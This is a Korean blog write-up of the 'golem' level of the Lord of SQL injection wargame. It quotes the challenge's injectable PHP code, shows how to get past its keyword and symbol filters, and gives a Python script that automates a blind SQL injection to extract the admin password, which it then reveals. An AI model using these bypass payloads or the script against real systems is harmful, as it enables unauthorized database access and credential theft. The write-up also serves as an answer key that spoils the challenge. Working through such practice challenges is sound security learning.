Gae Ko's Blog

los : golem 본문

웹해킹 /[los] Lord of SQL

los : golem

Gae Ko 2017. 8. 17. 03:45


[코드분석]


<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 

↑DB와 연결을 위한 코드


  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and|substr\(|=/i'$_GET[pw])) exit("HeHe"); 

↑preg_match를 통한 필터링


  $query "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"

↑쿼리실행


  $_GET[pw] = addslashes($_GET[pw]); 

↑addslashes()함수 


  $query "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 

↑진짜 원하던 쿼리실행


  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 

↑문제의 포인트 



[내 풀이]


코드를 보니 preg_match를 통해 입력값에 포함된 (와 ) 그리고  or 이나 and 그리고 = 가 포함된 입력값을 필터링 한다.

그리고 addslashes함수를 통해 입력값을 넣을 때 싱글쿼터를 사용하지 못하게 하였고

GET방식으로 입력받은 pw값이 admin의 pw와 동일할 때 문제가 풀린다고 한다.


맨 마지막을 통해 이 문제는 Blind SQL injection임을 알 수 있다.


일단 필터링 되는 문자열을 생각해보면 

1) 괄호( 와 ) 는 각각 %28과 %29로 대체 

2) or 과 and 는 || 와 &&로 대체 ( 특수기호는 url 인코딩 )

3) 그리고 등호를 사용할 수 없는데 등호 우회하는 법을 구글링해보니 

    a=b 과 a in (b) 은 동일한 의미를 나타냄을 알게 되었다.


일단 length함수를 통해 admin의 pw 길이를 구한다.

 ( ?pw=%27 or id='admin' and length(pw)=8# 를 필터링되는 문자열들을 생각해서 아래처럼 바꿔주었다. )



이를 통해 admin의 pw길이가 8임을 알아내었다.

이제  substr함수를 통해 정확한 pw를 알아내야하는데 substr( 가 필터링되므로 동일한 기능을 하는 함수를 찾아본다.


구글링해보니 substr( string, a, b)right( left( string, a) , b) 로 대체할 수 있다.


아래와 같이 admin의 pw의 첫번째 글자를 찾보기위해 char의 인자 숫자를 바꿔가며 해보았다.



▲ admin의 pw의 첫번째 글자의 아스키값이 55보다 크다는 의미


▲ admin의 pw의 첫번째 글자의 아스키값이 56보다 크지 않다는 의미 


즉 admin의 pw의 첫번째 글자는 아스키값이 56인 8 이다.

이렇게 8자리까지 쭈욱 알아낼 수 있다.


하지만 모두 하나하나 하기엔 시간이 걸리므로 orc 문제에서 사용한 코드를 조금 수정해서 하나하나 확인하는 것을 자동화하여 실행할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 
import urllib2, urllib, requests, time
 
flag = ''
length= 0
 
session = dict(PHPSESSID="vee4ea8c3gtsmr8vjn9skp6ur0")
 
# find the length of PW 
for i in range(020):
    try:
        r = requests.post("https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=' %7c%7c  id in %28'admin'%29 %26%26 length%28pw%29 in%28"+str(i)+"%29%23", cookies=session)
    except:
        print "exception"
        continue
    if 'Hello admin' in r.text: #true
        length = i
        break
 
print "[+]  Length of admin pw : " + str(length)
 
for j in range(1, length+1):
    for i in range(48126):
        try:
            r = requests.post("https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=' %7c%7c id in %28'admin'%29 %26%26 right%28left%28pw,"+str(j)+"%29,1%29 in %28char%28"+ str(i)+"%29%29%23", cookies=session)
        except:
            print "exception"
            continue
        if 'Hello admin' in r.text:
            flag = flag + chr(i)
            print "[+] finding pw : " + flag
            break
        time.sleep(0.1)
print "[+] pw of admin : " + flag
 
cs


이 코드를 실행하면 





결론 : id 가 'admin'인 pw는 88e3137f 



'웹해킹 > [los] Lord of SQL' 카테고리의 다른 글

los : bugbear  (0) 2017.08.17
los : darkknight  (0) 2017.08.17
los : skeleton  (0) 2017.08.17
los : vampire  (0) 2017.08.17
los : troll  (0) 2017.08.16